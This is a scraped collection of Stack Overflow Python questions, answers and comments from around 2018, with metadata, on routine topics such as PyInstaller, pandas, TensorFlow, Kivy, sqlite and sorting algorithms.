has body: I ran into the same problem with sklearn and pyinstaller. Here is how I resolved it: 1.)Use command: &gt; pyi-makespec -F visual_vitals.py 2.)This will create a file by name vitals.spec 3.)Find line with &gt; hidden imports=[] in the spec file. Replace it with &gt; hiddenimports = ['pandas._libs.tslibs.timedeltas', &gt; 'sklearn.neighbors.typedefs'] 4.)Add these two lines to increase recursion limit at beginning of the spec file &gt; import sys &gt; &gt; sys.setrecursionlimit(5000) 5.)Run : &gt; pyinstaller visual_vitals.spec
score: 5
upvote count: 5
answers question: http://stackoverflow.com/q/49558126
type: Answer

http://stackoverflow.com/comment/91947588
comment on: http://stackoverflow.com/a/49562217
type: Comment
score: 4
type: AnswerComment
has text: How can I use this code to decrypt data on a select?

http://stackoverflow.com/comment/86049928
has text: Shhhh! Me either, then the OP made reference to it, so I looked at the docs. :-) And, this is why I love SO.
type: Comment
comment on: http://stackoverflow.com/a/49521364
score: 2
type: AnswerComment

http://stackoverflow.com/a/49491846
upvote count: 0
has comment: http://stackoverflow.com/comment/85987098
has comment: http://stackoverflow.com/comment/85987272
has comment: http://stackoverflow.com/comment/85987305
downvote count: 1
type: Answer
score: -1
has body: First of all, a module is a python file that contains classes and functions. when you say From A Import B python searches for A(a module) in the standard python library and then imports B(the function or class) which is the module if it finds A. If it doesn't it goes out and starts searching in the directory were packages are stored and searches for the package name( A ) and then if it finds it, it imports the Module name(B). If it fails in the past 2 processes it returns an error. Hope this helps.
answers question: http://stackoverflow.com/q/49491650

http://stackoverflow.com/comment/86140964
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49565983
has text: @abarnert my bad. have edited them now.
score: 0

http://stackoverflow.com/comment/85977415
has text: Possible duplicate of [finding and replacing elements in a list (python)](https://stackoverflow.com/questions/2582138/finding-and-replacing-elements-in-a-list-python)
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49487243

http://stackoverflow.com/comment/85917908
comment on: http://stackoverflow.com/q/49457290
has text: @SrinivasSuresh I'm pretty sure I want to work with an iterable, which `int` is not.
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/q/49461205
has answer: http://stackoverflow.com/a/49462252
favorite count: 0
tagged with: eventlet
tagged with: debugging
type: Question
tagged with: exception
tagged with: python
type: UnansweredQuestion
answer count: 1
tagged with: logging
has title: how to redirect traceback.print_exc to logging
has body: I am using eventlet with Python to spawn some threads. I am using eventlet.spawn_n(). I can see from the implementation here that it prints a stack trace if the method you run throws an exception: https://github.com/eventlet/eventlet/blob/79292bd16a6a1384d8c3d11bcefa40eb53bbeae4/eventlet/greenpool.py#L93 This stack trace is going to stderr. But the logging for everything else in my program goes to a file using WatchedFileHandler. This causes the stack traces to not be shown in the the log file where the rest of the logging for my application takes place which is causing some problems. Is there a way to get the stack traces from eventlet to print to the same file that the rest of my application logs to rather than printing to stderr? Here is the logging configuration I currently use: [loggers] keys = root [handlers] keys = watchedfile [formatters] keys = default [logger_root] level = INFO handlers = watchedfile [handler_watchedfile] class = handlers.WatchedFileHandler args = ('my_log.txt',) formatter = default [formatter_default] format = %(asctime)s %(levelname)s [%(name)s] %(pathname)s:%(funcName)s:%(lineno)s %(message)s
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/q/49502004
has answer: http://stackoverflow.com/a/49502064
answer count: 5
tagged with: join
has body: I am trying to get a list, check if it contains the '&amp;' character, then join the data before and after that character depending on where it is. The '&amp;' position will not always be the same. Lets say i have a list _list = ['John', 'Adams', '&amp;', 'George', 'Washington'] I want to get the values before and after the ampersand and store them as a string to a variable. name_one = "John Adams" name_two = "George Washington" Keep in mind this would have to be dynamic in that i need to be able to get all of the data before and after no matter how many indices there are _list = ['John', 'Adams', 'Jr.', '&amp;', 'George', 'Washington'] Would return name_one = "John Adams Jr." name_two = "George Washington"
tagged with: python
score: -1
type: Question
has answer: http://stackoverflow.com/a/49502045
has title: Join parts of lists before and after & character
upvote count: 0
tagged with: list
accepted answer: http://stackoverflow.com/a/49502064
has answer: http://stackoverflow.com/a/49502021
has answer: http://stackoverflow.com/a/49502132
downvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/49520640
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/49502045

http://stackoverflow.com/q/49447571
tagged with: matplotlib
tagged with: animation
tagged with: python
has title: Run matplotlib animation on remote server without forwarding to local machine?
has comment: http://stackoverflow.com/comment/85935013
has comment: http://stackoverflow.com/comment/85910036
tagged with: xserver
score: 0
tagged with: remote-server
answer count: 0
has comment: http://stackoverflow.com/comment/85935179
type: Question
has comment: http://stackoverflow.com/comment/85903138
has body: I have a piece of code in python that creates an animation, and generates a plot. The code relevant to the animation is as below: class Node: def __init__(self): self.fig, self.ax = plt.subplots() self.ln_agents, = plt.plot([],[], 'bs') ani = animation.FuncAnimation(self.fig, self.draw_agents, self.new_data, init_func=self.init_2DSpace, interval=200)#interval=2000 plt.show() def draw_agents(self, points): if condition met: plt.close() self.ln_agents.set_xdata(np.array(points[0])) self.ln_agents.set_ydata(np.array(points[1])) The animation should stop when some condition is met. I need to run this code on a remote server, such that it continues running even when the ssh connection is dropped. I know I can achieve this with the screen command on the ubuntu terminal. I don't need to see the output on my local machine. When I ssh to the server without the -X flag I get the following error Unexpected error: (, TclError('no display name and no $DISPLAY environment variable',), ) Any suggestions? Thanks!!
has comment: http://stackoverflow.com/comment/85910121
linked to: http://stackoverflow.com/q/4931376
type: UnansweredQuestion

http://stackoverflow.com/q/49482436
accepted answer: http://stackoverflow.com/a/49482659
has answer: http://stackoverflow.com/a/49482659
has title: Tensorflow reading a tab separated file
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/85968054
score: 0
has comment: http://stackoverflow.com/comment/85967917
answer count: 1
has body: I am trying to read a tab separated file into tensorflow # Metadata describing the text columns COLUMNS = ['queue_name','block_name', 'car_name', 'position_id', 'x_ord', 'y_ord'] FIELD_DEFAULTS = [[''], [''], [''], [0], [0], [0]] def _parse_line(line): # Decode the line into its fields fields = tf.decode_csv(line, FIELD_DEFAULTS, field_delim="\t") # Pack the result into a dictionary features = dict(zip(COLUMNS,fields)) # Separate the label from the features y = features.pop('y_ord') x = features.pop('x_ord') return features, x, y ds = tf.data.TextLineDataset(filenames).skip(1) ds = ds.map(_parse_line) with tf.Session() as sess: print(sess.run(ds)) # I am getting an error when running the session However, this gives me an error TypeError: Fetch argument &lt;MapDataset shapes: ({period_name: (), block_name: (), trial_name: (), trial_id: ()}, (), ()), types: ({period_name: tf.string, block_name: tf.string, trial_name: tf.string, trial_id: tf.int32}, tf.int32, tf.int32)&gt; has invalid type &lt;class 'tensorflow.python.data.ops.dataset_ops.MapDataset'&gt;, must be a string or Tensor. (Can not convert a MapDataset into a Tensor or Operation.) Does this mean I cannot combine string and integers in a map dataset or am I doing something wrong?
tagged with: tensorflow
type: Question

http://stackoverflow.com/comment/86071180
comment on: http://stackoverflow.com/q/49532525
score: 0
type: Comment
type: QuestionComment
has text: You need to post the code and error here, as text.

http://stackoverflow.com/comment/86079186
score: 0
has text: Could you provide a [mcve] of the issue?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/49532728

http://stackoverflow.com/q/49565610
answer count: 2
type: UnansweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/49566222
has comment: http://stackoverflow.com/comment/86139952
upvote count: 1
tagged with: python
has answer: http://stackoverflow.com/a/49566773
has title: count inversions in mergesort python
score: 1
has body: I want to count how many inversions there are in a list while sorting the list using mergesort. This is my code so far where 'x' counts the ammount of inversions while the rest sorts it: import sys x = 0 def merge_sort(A): merge_sort2(A, 0, len(A) - 1) def merge_sort2(A, first, last): if first &lt; last: middle = (first + last) // 2 merge_sort2(A, first, middle) merge_sort2(A, middle + 1, last) merge(A, first, middle, last) def merge(A, first, middle, last): global x L = A[first:middle + 1] R = A[middle + 1:last + 1] L.append(sys.maxsize) R.append(sys.maxsize) i = j = 0 for k in range(first, last + 1): if L[i] &lt;= R[j]: A[k] = L[i] i += 1 else: A[k] = R[j] j += 1 x += 1 x += len(L[first + 1:]) When I call merge sort using a list, the variable x is support to give the amount of inversions in the list. So If the list was '[4,3,2,1], x would be 6. If the list was [1,2,3] x would be 0. I change the value of x whenever the right is greater than the left in the merge definition however, the number always gets way too big. What am I doing wrong?
favorite count: 0
has comment: http://stackoverflow.com/comment/86139910
type: Question
tagged with: python-3.x

http://stackoverflow.com/comment/86080548
comment on: http://stackoverflow.com/a/49536730
type: Comment
has text: Thank you! This is much simpler than what I was trying to do with indexing and enumerating. I guess I was overthinking the problem.
type: AnswerComment
score: 0

http://stackoverflow.com/q/49577089
downvote count: 1
favorite count: 0
type: Question
tagged with: beautifulsoup
possible better answer: http://stackoverflow.com/a/49577162
tagged with: python
has comment: http://stackoverflow.com/comment/86182879
score: -1
has body: I'm trying to get data from a site with Beautiful Soup. I have this part of the code, and I want to get the JSON part inside data-product element. How can I do this? This code: soup_catalog.find('a',class_="product-li") Returns this: <a class="product-li" data-product='{"product":"0431772", "basketId":"043177500", "type":"product", "category":"ga", "subCategory":"gpes", "webVideoUrl": "None", "brand":"konami", "title_url": "pes-2018-para-ps3-konami", "title": "PES 2018 para PS3", "reference": "Konami", "stockTypes": {"043177500": "F"}, "price": "89.9"}' href="https://www.magazineluiza.com.br/pes-2018-para-ps3-konami/p/0431772/ga/gpes/" itemprop="url" title="PES 2018 para PS3">\n\n\n\n \n \n \n \n \n \n\n\n\n\n \n \n \n\n\n PES 2018 para PS3 - Konami \n \n \n \n\ndesconto de R$ 79,10\n \n \nde R$ 169,00\n\n por R$ 89,90\n \n \n \n Then I tried: soup_catalog.find('a',class_="product-li").find('data-product') But the data-product is not being returned. How can I do this?
linked to: http://stackoverflow.com/q/1684120
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49577158
answer count: 2
has title: Get data-product element with beautiful soup
upvote count: 0
has answer: http://stackoverflow.com/a/49577158
has comment: http://stackoverflow.com/comment/86162224
has answer: http://stackoverflow.com/a/49577162

http://stackoverflow.com/comment/86083910
score: 4
type: AnswerComment
has text: Will the slicing at `new_words[:i]` not slow down the operation? It has to build a new list, I believe.
comment on: http://stackoverflow.com/a/49538408
type: Comment

http://stackoverflow.com/q/49594949
favorite count: 0
type: Question
upvote count: 2
has answer: http://stackoverflow.com/a/49596987
accepted answer: http://stackoverflow.com/a/49596987
linked to: http://stackoverflow.com/q/56776521
has answer: http://stackoverflow.com/a/63813509
has title: pandas read_csv path issue
possible better answer: http://stackoverflow.com/a/49595026
tagged with: python
has comment: http://stackoverflow.com/comment/86197342
score: 2
type: AnsweredQuestion
answer count: 3
downvote count: 0
tagged with: pandas
has answer: http://stackoverflow.com/a/49595026
has body: I can easily read a csv file if I go: pd.read_csv(r'C:\\yourpath\yourcsvfile.csv') But I wanna try path variables instead of hardcode my path. So I tried: processed_data_path=os.path.join(os.path.pardir,'data','processed') train_file_path=os.path.abspath(os.path.join(processed_data_path,'train.csv')) test_file_path=os.path.abspath(os.path.join(processed_data_path,'test.csv')) the print result is: C:\yourpath\train.csv C:\yourpath\test.csv So it looks alright. But when I tried the code below it throws a file does not exist error: train_df = pd.read_csv(train_file_path) where is the problem?
has comment: http://stackoverflow.com/comment/86197256

http://stackoverflow.com/a/49582549
has comment: http://stackoverflow.com/comment/86187815
type: Answer
has body: If your use case is only for using different versions for the same package, I would suggest to create different environments. For example, assume that you have a version for pyqt in your current environment, but you need a previous version for a dependency. The following command will create a new environment named oldqt, with version 4 of pyqt. conda create -n oldqt pyqt=4 Afterwards, you can activate the new environment as below. MacOS: source activate oldqt Windows conda activate oldqt Note that you need to install everything into your new environment, it is like a clean installation of anaconda. More information on conda environments is here.
downvote count: 0
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/49582389

http://stackoverflow.com/comment/86046951
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49520600
score: 2
has text: A dictionary might be appropriate here.

http://stackoverflow.com/q/49471502
has body: There are several packages available to digitize the line graphs e.g. GetData Graph Digitizer. However, for digitzation of heat maps I could not find any packages or programs. I want to digitize the heat map (images from png or jpg format) using Python. How to do it? Do I need to write the entire code from scratch? Or there are any packages available?
answer count: 1
has comment: http://stackoverflow.com/comment/85945701
accepted answer: http://stackoverflow.com/a/49471541
tagged with: python
linked to: http://stackoverflow.com/q/30961464
has comment: http://stackoverflow.com/comment/85945743
favorite count: 0
type: Question
tagged with: heatmap
score: 4
has comment: http://stackoverflow.com/comment/85945723
tagged with: data-extraction
has comment: http://stackoverflow.com/comment/85945807
has title: How to digitize (extract data from) a heat map image using Python?
downvote count: 2
has comment: http://stackoverflow.com/comment/85945648
upvote count: 6
has answer: http://stackoverflow.com/a/49471541
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/85945686

http://stackoverflow.com/comment/86099407
type: QuestionComment
has text: @abarnert Poor coding from someone else where they manipulated the string to get it in an odd format. Turns out I can straight up just do the ast.literal_eval on the string returned from the postgres polygon type and everything works.
type: Comment
comment on: http://stackoverflow.com/q/49545922
score: 0

http://stackoverflow.com/a/49791188
has comment: http://stackoverflow.com/comment/88948063
type: Answer
accepted answer of: http://stackoverflow.com/q/49551655
has body: below is the sol: runpage.html file : Form {{ form.customer}} {{ form.product }} --dbconnect.py import MySQLdb def connection(): conn = MySQLdb.connect(host="localhost.localhost", user = "usrname", passwd = "pwd123", db = "pythonp") c = conn.cursor() return c, conn app.py file: from flask import * import os from dbconnect import connection from flask import Flask, render_template, flash, request, url_for, redirect, session,Response from wtforms import Form, BooleanField, TextField, PasswordField, validators,SelectField from passlib.hash import sha256_crypt from MySQLdb import escape_string as thwart #from flask_sqlalchemy import SQLAlchemy from flask_wtf import FlaskForm from wtforms_sqlalchemy.fields import QuerySelectField from urllib.request import * from flask import json import gc app = Flask(__name__) app.secret_key = 'my unobvious secret key' class runpageForm(Form): customer = SelectField('Select your customer Name', choices=[], id='select_customer') product = SelectField('Select your product Name', choices=[], id='select_product') @app.route('/runpage/', methods=['GET', 'POST']) def runpage(): try: form = runpageForm() if request.method == "POST" : # loading values in SelectFields on page load for row in fetch_customer('custdetail', 'customer'): customer = str(row[0]) form.customer.choices += [(customer, customer )] ; #value_customerqq = dict(form.customer.choices).get(form.customer.data) return render_template("runpage.html", form=form) except Exception as e: error = "Invalid credentialsw, try again." return(str(e)) @app.route('/productChange/', methods=['GET', 'POST']) def productChange(): try: form = runpageForm() if request.method == "GET": customer = request.args.get('customer') print(customer) c, conn = connection() c.execute("SELECT product FROM custdetail WHERE customer = %s", [customer]) product = c.fetchall() print(product) data = [{"vals": x[0]} for x in product] print ("hello tript") print (data) c.close() return jsonify(data) except Exception a…
answers question: http://stackoverflow.com/q/49551655
type: AcceptedAnswer
score: 0

http://stackoverflow.com/q/49496188
possible better answer: http://stackoverflow.com/a/49496315
has answer: http://stackoverflow.com/a/49496315
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85996231
has title: Error checking whether an element is in a list
has comment: http://stackoverflow.com/comment/85996224
accepted answer: http://stackoverflow.com/a/49496286
tagged with: file-io
tagged with: if-statement
has comment: http://stackoverflow.com/comment/85996235
tagged with: io
tagged with: python
score: -2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/85996429
tagged with: list
answer count: 2
has comment: http://stackoverflow.com/comment/85996325
has body: i am trying to check whether certain elements are in a list, and to execute numerical update but i keep getting an error (below). "if h2output[1] not in h1output == True or h2output[2] not in h1output == True: IndexError: list index out of range" doublewin = 0 h1output = [] h2output = [] h3output = [] v1output = [] v2output = [] v3output = [] d1output = [] d2output = [] for i in h1: if i not in h1output: h1output.append(i) if len(h1output) == 2: doublewin += 1 for i in h2: if i not in h2output: h2output.append(i) if len(h2output) == 2: if h2output[1] not in h1output == True or h2output[2] not in h1output == True: doublewin += 1
upvote count: 0
downvote count: 2
has answer: http://stackoverflow.com/a/49496286

http://stackoverflow.com/a/49507866
has body: You should use a apply function to create a new column as required and then convert it to a list import pandas as pd import numpy as np df = pd.read_excel('file.xlsx', usecols = ['A', 'B', 'C']) print(df) x=df'A','B','C'.apply(lambda row: '/'+row['A']+'/'+row['B']+'/'+row['C'],axis=1) x.tolist() Update shorter code: x=df'A','B','C'.apply(lambda row: '/'+'/'.join(row),axis=1) x.tolist()
has comment: http://stackoverflow.com/comment/86020799
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/86021412
has comment: http://stackoverflow.com/comment/86020925
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/49507680

http://stackoverflow.com/a/49511832
score: 0
accepted answer of: http://stackoverflow.com/q/49510430
type: Answer
has comment: http://stackoverflow.com/comment/86028219
type: AcceptedAnswer
has body: finalistsOpen() needs to be finalists = finalistsOpen()
has comment: http://stackoverflow.com/comment/86028145
answers question: http://stackoverflow.com/q/49510430

http://stackoverflow.com/comment/86146580
type: Comment
comment on: http://stackoverflow.com/a/49569216
type: AnswerComment
has text: @Robᵩ haha, I think the question was bad. I was confused what OP was trying to do too.
score: 0

http://stackoverflow.com/comment/86172063
score: 0
type: AnswerComment
has text: let me give this a shot
comment on: http://stackoverflow.com/a/49575933
type: Comment

http://stackoverflow.com/comment/86200949
score: 0
comment on: http://stackoverflow.com/a/49596670
type: Comment
has text: Yes, I was assuming only one set of `!`s.
type: AnswerComment

http://stackoverflow.com/comment/86120648
comment on: http://stackoverflow.com/q/49556351
type: QuestionComment
has text: Old sessions are flushed/deleted when a user logs out
score: 0
type: Comment

http://stackoverflow.com/comment/86107983
has text: Please make sure you paste relevant code sample. This one doesn't tell use what `sample_ig_user_data` is.
score: 0
comment on: http://stackoverflow.com/q/49549327
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85914148
type: Comment
score: 0
has text: `argsort` *by itself* does not rank. See [this question and answers](https://stackoverflow.com/questions/5284646/rank-items-in-an-array-using-python-numpy/) for more information about ranking with `argsort` or `rankdata`.
comment on: http://stackoverflow.com/q/49453455
type: QuestionComment

http://stackoverflow.com/comment/86167715
score: 1
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49579774
has text: You could look at [this question](https://stackoverflow.com/questions/14117415/in-python-using-argparse-allow-only-positive-integers) about only allowing positive integers with argparse. It might be simpler to add another if-statement in the `handle` method. There might be other checks you need to add, e.g. `first_row <= last_row`.

http://stackoverflow.com/comment/86200694
comment on: http://stackoverflow.com/q/49595971
type: Comment
type: QuestionComment
score: 0
has text: Try to pass `verbose=10` and check the output...

http://stackoverflow.com/comment/86049275
type: AnswerComment
score: 1
has text: OK, thanks for the clarifications—I'll just take your word that it can easily be customized for lists of arbitrary objects. Regardless, for a list-of-lists of single character strings it doesn't really seem to be must of a contender (based on the benchmark results I posted).
comment on: http://stackoverflow.com/a/49518843
type: Comment

http://stackoverflow.com/comment/85963557
has text: Thank you for your reply with many options ! Problem is, I can only send 1 file, and it is a python file.. I just tried putting them in an os.environ variable like you suggested but it still appears in the hex..
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49480261
type: Comment

http://stackoverflow.com/comment/85904868
type: Comment
has text: @CarloAllocca - I want only show what data are `NaN`s before interpolate :)
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49450778

http://stackoverflow.com/comment/86734508
type: AnswerComment
comment on: http://stackoverflow.com/a/49598857
has text: @Learner Nothing obvious jumps out at me. If you are dealing with data volumes on that scale, rather than trying to squeeze more optimization out of this algorithm, you might want to step back and see if your underlying problem can be solved with a different algorithm.
score: 1
type: Comment

http://stackoverflow.com/comment/86260757
type: Comment
type: QuestionComment
has text: Can you tell us a bit about your data? How is it ordered? By time?
comment on: http://stackoverflow.com/q/49584705
score: 0

http://stackoverflow.com/comment/86262883
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49591509
has text: @kingJulian So you entered the first 9 elements anonymously and then you created a security measure (aka `TokenAuthenitcation`)?

http://stackoverflow.com/a/49577779
has body: The error is presumably a KeyError, right? It's because you're indexing two levels into your dictionary when only one exists. Try this: symbol = "AAPL" d = {} for i in range(level+1): name = 'accounting_price_{}'.format(symbol) d[name] = {} d[name][i] = yahoo_prices[j]['accg'][i][0]
upvote count: 0
downvote count: 2
has comment: http://stackoverflow.com/comment/86163268
answers question: http://stackoverflow.com/q/49577674
score: -2
type: Answer

http://stackoverflow.com/comment/86104638
type: AnswerComment
has text: @JohnLexus Btw for a mask size much smaller than the array size, all three solutions (yours, Sumeet's and mine) have complexity N*N as far as I can see.
score: 0
comment on: http://stackoverflow.com/a/49548493
type: Comment

http://stackoverflow.com/q/49587156
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/49589209
upvote count: 1
favorite count: 0
tagged with: bind
type: AnsweredQuestion
has title: How to bind a widget to a value from Kivy App
accepted answer: http://stackoverflow.com/a/49589209
tagged with: python
tagged with: kivy
tagged with: properties
has body: I have the following Kivy app and I'm trying to change the text of a Label based on another widget's variable. I mean, if the variable testing of the class TestApp changes, I want also the value of the variable text of the class TestLabel to change. To do so, I've created a BooleanProperty in the TestLabel class that points to the testing variable of the TestApp class. The problem is that this callback is never executed despite being changing it each time I press the button. from kivy.app import App from kivy.uix.button import Button from kivy.uix.label import Label from kivy.uix.boxlayout import BoxLayout from kivy.lang import Builder from kivy.properties import BooleanProperty Builder.load_string(''' &lt;MainApp&gt;: orientation: 'horizontal' rows: 2 TestButton: text: 'Change value' on_release: self.change_value() TestLabel: ''') class TestLabel(Label): testing = BooleanProperty() def __init__(self, **kwargs): super(TestLabel, self).__init__(**kwargs) self.app = App.get_running_app() self.testing = self.app.testing self.bind(testing=self.changed_value) def changed_value(self, _instance, newvalue): self.text = str(newvalue) class TestButton(Button): def __init__(self, **kwargs): super(TestButton, self).__init__(**kwargs) self.app = App.get_running_app() def change_value(self): self.app.testing = not self.app.testing class MainApp(BoxLayout): pass class TestApp(App): testing = BooleanProperty(False) def build(self): return MainApp() if __name__ == '__main__': TestApp().run()
type: Question
score: 1

http://stackoverflow.com/comment/86075644
has text: Thank you very much for your detailed answer. Your comment in combination with the paper "Connectionist Temporal Classification: Labelling Unsegmented Sequence Data with Recurrent Neural Networks" make the workings of a RNN and the CTC function very comprehensible.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/49501525

http://stackoverflow.com/a/49479399
score: 3
answers question: http://stackoverflow.com/q/49479316
has body: If you're calling the bin function, or using a format string with #b, or whatever, the resulting string has 0b on the front, so it's too late to zero-fill, unless you want to do something hacky like pull it off, zero-fill to n-2 characters, then put it back on. But if you just do the zero-filling before (or while) adding the prefix rather than after, it's easy. For example: &gt;&gt;&gt; temp = 0b110 &gt;&gt;&gt; format(temp, '#010b') '0b00000110' The docs explain this in detail, but the short version is: # means "alternate form", which gives me the 0b prefix 0 means zero-pad 10 means width of 10 (including the 0b) b means binary
type: Answer
upvote count: 3
downvote count: 0

http://stackoverflow.com/q/49552386
has title: Pandas groupby std is much slower when using ddof=1 Why?
type: Question
upvote count: 2
tagged with: numpy
tagged with: python
has body: I have discovered something unusual in pandas re the ddof (degrees of freedom) parameter for standard deviation calculations (std). For regular std, the speed is the same whether I leave its default to 1, or specify 0. When I do it as part of a group by, it is around 10 times slower (the test DataFrame I set up has a similar structure to the one I am working on). The slowdown is worse for more columns/rows/unique groups. Any idea what is going on here? Does pandas need a little bug fix? Is there a way to replicate the ddof=1 behaviour at a faster speed (I'm running these std calculations a lot)? import pandas as pd import datetime test = pd.DataFrame(np.random.rand(100000,10)) %timeit test.std() 100 loops, best of 3: 18.2 ms per loop %timeit test.std(ddof=0) 100 loops, best of 3: 18.3 ms per loop test['group'] = (test[0]*20+1).astype(int) test['date'] = [datetime.date(2018, 3, g) for g in test['group']] test = test.set_index(['date','group']) %timeit test.groupby(level='date').std() 100 loops, best of 3: 6.78 ms per loop %timeit test.groupby(level='date').std(ddof=0) 10 loops, best of 3: 68.5 ms per loop
accepted answer: http://stackoverflow.com/a/49553472
score: 2
type: AnsweredQuestion
tagged with: performance
tagged with: pandas-groupby
downvote count: 0
tagged with: pandas
answer count: 1
has answer: http://stackoverflow.com/a/49553472
favorite count: 0

http://stackoverflow.com/q/49494400
has title: How to specify (import?) scheme in GraphQL in python (graphene?)?
tagged with: graphql
tagged with: graphql-java
tagged with: web-api-testing
has comment: http://stackoverflow.com/comment/86234060
tagged with: python
has answer: http://stackoverflow.com/a/49496068
accepted answer: http://stackoverflow.com/a/49496068
has body: shame to ask, but we have GraphQL Server on Java (https://github.com/graphql-java/graphql-spring-boot), where we specified type.graphqls scheme for our service. On client side we have JS code based on Apollo Client library. And it does not need acess to this types file. But days are come and I need to write some API tests. Most people in our team speaks Python very well, so I decided to make test workbench on python, but I cant't find any library that let me write queries schema-free or import my types.graphqls scheme. How can I write tests on python for custom GraphQL server thogh? Thanks!
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86233906
score: 0
answer count: 1
tagged with: graphene-python
type: Question
has comment: http://stackoverflow.com/comment/86194760

http://stackoverflow.com/comment/86159784
type: QuestionComment
has text: shape(X) ===> <tf.Tensor 'Shape:0' shape=(1,) dtype=int32>
type: Comment
comment on: http://stackoverflow.com/q/49575237
score: 0

http://stackoverflow.com/q/49473545
upvote count: 6
linked to: http://stackoverflow.com/q/10840533
has answer: http://stackoverflow.com/a/49474005
answer count: 2
has answer: http://stackoverflow.com/a/49473720
downvote count: 0
score: 6
has body: I have 100 folders with different names and each should be having the same three files inside it, but in some folders all these three files are not present. How I can delete those folders that are empty or containing only one or two files? These are the three files: 001.7z 002.7z 003.7z
accepted answer: http://stackoverflow.com/a/49474005
favorite count: 0
has title: Delete the same files inside multiple folders (python)
type: Question
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/18262293
possible better answer: http://stackoverflow.com/a/49473720
tagged with: delete-file
tagged with: python

http://stackoverflow.com/comment/86143644
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/49566626
type: Comment
has text: @AnshGupta It works when I run it with your code as posted. But obviously your code as posted is not your actual code. If you're, say, inserting more shapes into the canvas before the rectangles, then they won't be #1-16. If you're doing something more complicated, store the rectangles in a dict with each one's `id` attribute as key, instead of in a list with the `id-1` as index.

http://stackoverflow.com/comment/86163328
type: Comment
comment on: http://stackoverflow.com/q/49577796
has text: Probably since `pass_context` is `True`, your first "number" is actually the discord context, not the number the person typed in. What happens if you set `pass_context` to `False`?
score: 2
type: QuestionComment

http://stackoverflow.com/q/49476030
has comment: http://stackoverflow.com/comment/85954833
has title: select rows with except sqllite3
tagged with: python
has comment: http://stackoverflow.com/comment/85955891
score: 2
has answer: http://stackoverflow.com/a/49501971
tagged with: sqlite
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/85956191
has comment: http://stackoverflow.com/comment/85954716
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85954677
upvote count: 2
type: UnansweredQuestion
has body: I have a database with a dataframe that contains the columns: Name, Award, Winner(1 means won and 0 means did not win) and some other things that are irrelevant for this question. I want to make a dataframe with the names of people that were selected for the award actress(al awards with the name actress in them count), but never won, using sqlite 3 in python. These are the first five rows of the dataframe: Unnamed: 0 CeremonyNumber CeremonyYear CeremonyMonth CeremonyDay FilmYear Award Winner Name FilmDetails 0 0 1 1929 5 16 1927 Actor 1 Emil Jannings The Last Command 1 1 1 1929 5 16 1927 Actor 0 Richard Barthelmess The Noose 2 2 1 1929 5 16 1927 Actress 1 Janet Gaynor 7th Heaven 3 3 1 1929 5 16 1927 Actress 0 Louise Dresser A Ship Comes In 4 4 1 1929 5 16 1927 Actress 0 Gloria Swanson Sadie Thompson I tried it with this query, but this resulted not in the correct result. query = ''' select Name from oscars where Award like "Actress%" except select Name from oscars where Award like "Actress%" and Winner == 1 ''' The outcome of this query should be a dataframe like this: Name 0 Abigail Breslin 1 Adriana Barraza 2 Agnes Moorehead 3 Alfre Woodard 4 Ali MacGraw

http://stackoverflow.com/comment/85970300
score: 0
comment on: http://stackoverflow.com/q/49482927
has text: Moreover, if `TokenBalances` is a dictionary, `TokenBalances[k]` has a chance of not working because nothing will guarantee that the keys are numbers from 0 to `len(TokenBalances) - 1`. Maybe you should use `for current_token in TokenBalances.values():` and work with `current_token` instead of using `for k in range(len(TokenBalances)):`?
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49455696
score: 0
has comment: http://stackoverflow.com/comment/85914630
has body: It's my first time with classes in python and I quickly wrote a simple class which lets you move rocket by coordinates. I don't know though how to make a function called let's say "distance" that would return distance between two different instances(rockets). Just to be clear, I know how to calculate the distance, I don't know how to build a function class Rocket: def __init__(self , start = (0, 0)): self.start = start self.x = self.start[0] self.y = self.start[1] if not self.crash(): self.start = (0,0) print("You crashed!! Your position has been restarted to (0,0)") def __repr__(self): return "tbd" def get_position(self): return "Your curret posiiton is {}".format(self.start) def move_side(self,x): self.x += x self.start = (self.x, self.y) def move_up(self,y): self.y += y self.start = (self.x, self.y) if not self.crash(): self.start = (0,0) print("You crashed!! Your position has been restarted to (0,0)") def move(self,x,y): self.x += x self.y += y self.start = (self.x,self.y) def land_rocket(self): self.y = 0 self.start = (self.x,self.y) def crash(self): if self.y &gt;= 0: return True return False def distance(self,other): return "???"
has answer: http://stackoverflow.com/a/49455748
type: Question
tagged with: python-3.x
has title: Classes: Interacting with 2 class instances in one function
tagged with: function
answer count: 1
tagged with: python
accepted answer: http://stackoverflow.com/a/49455748
tagged with: class
type: AnsweredQuestion

http://stackoverflow.com/a/49484587
has comment: http://stackoverflow.com/comment/85971924
score: 0
has body: Incrementing count is done outside the loop, so it remains 0 all the time inside the loop, so you keep reading too far. Indent the statement so it lies under the while.
answers question: http://stackoverflow.com/q/49482413
type: Answer

http://stackoverflow.com/comment/86062727
has text: `sudo cat /var/log/cron`
comment on: http://stackoverflow.com/a/49526176
type: Comment
